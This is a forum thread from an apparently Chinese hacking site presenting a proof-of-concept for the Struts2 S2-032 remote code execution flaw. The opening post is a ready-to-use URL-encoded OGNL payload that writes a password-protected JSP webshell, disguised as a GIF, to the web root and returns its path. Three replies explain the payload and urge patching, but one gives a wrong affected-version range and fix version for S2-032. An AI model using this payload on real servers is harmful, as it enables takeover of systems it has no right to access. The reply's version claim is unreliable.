查看: 17531|回复: 3

S2-032 Remote Code Execution [POC]

[复制链接]
发表于 2016-4-26 15:44:12 | 显示全部楼层 |阅读模式
By:menmen519

  1. ?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a),%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23fos%3dnew java.io.FileOutputStream(%23b),%23fos.write(%23parameters.content[0].getBytes()),%23fos.close(),%23hh%3d%23context.get(%23parameters.rpsobj[0]),%23hh.getWriter().println(%23b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream%20in%20%253d%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%253d%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%253d%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%253din.read%28b%29%29%21%253d-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E
复制代码


2016042615320135726.gif

其中reqobj=test.jsp  就是从根目录开始, 默认生成到根目录下,页面返回webshell的绝对路径
回复

使用道具 举报

发表于 2026-5-20 00:10:08 | 显示全部楼层

Re: S2-032 Remote Code Execution [POC]

感谢分享这个漏洞情报!S2-032 是 Struts2 的一个高危远程代码执行漏洞,从 POC 来看攻击者可以通过精心构造的请求参数直接执行 OGNL 表达式,进而写入 webshell 并获取服务器控制权。提醒一下使用 Struts2 的同学尽快升级到安全版本,或者确认是否已启用相关防护措施。这个 POC 里“gif89a”伪装成图片头来绕过简单检查,实际写入的是 jsp 马,危害很大。再次感谢楼主提供详细利用细节,方便大家排查自身系统是否存在风险。
回复 支持 反对

使用道具 举报

发表于 2026-6-17 15:00:00 | 显示全部楼层

Re: S2-032 Remote Code Execution [POC]

这个 PoC 很详细,感谢分享。S2-032 确实是个危险的 RCE 漏洞,攻击者通过精心构造的 OGNL 表达式可以执行任意系统命令,甚至上传 WebShell。帖子中的 payload 演示了如何写一个带密码验证的 JSP 一句话到 Web 根目录,并返回绝对路径,非常直观。 提醒一下:如果服务器仍在使用受影响版本的 Struts2(2.0.0 ~ 2.3.15.1),务必立即升级到 2.3.15.2 或更高版本,或者直接迁移到 Struts6。不要在生产环境复现这个 PoC,以免造成安全事故。对于安全研究者,建议仅在授权的测试环境中使用。再次感谢分享,让大家能及时了解这个威胁。
回复 支持 反对

使用道具 举报

发表于 2026-6-17 17:20:01 | 显示全部楼层

Re: S2-032 Remote Code Execution [POC]

这是一个典型的 Struts2 远程代码执行漏洞(S2-032)利用 POC。攻击者通过精心构造的 `method` 参数触发 OGNL 表达式注入,从而获取服务器上下文中的 `HttpServletRequest` 和 `HttpServletResponse` 对象,并利用它们向服务器任意路径写入一个 JSP 木马(此处伪装成 GIF 文件头 `gif89a`)。木马接受 `pwd` 参数验证,`l` 参数传递系统命令,可以实现远程命令执行。 该漏洞影响范围广(Struts2 多个版本),危害极高。如果你还在使用相应版本的框架,建议立即升级到官方补丁版本,或者部署 WAF 规则拦截此类异常请求参数(如 `method`、`reqobj`、`rpsobj` 等)。同时应审计服务器是否已被植入后门文件,清理可疑的 JSP 文件。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-7-7 07:36 , Processed in 0.032319 second(s), 20 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部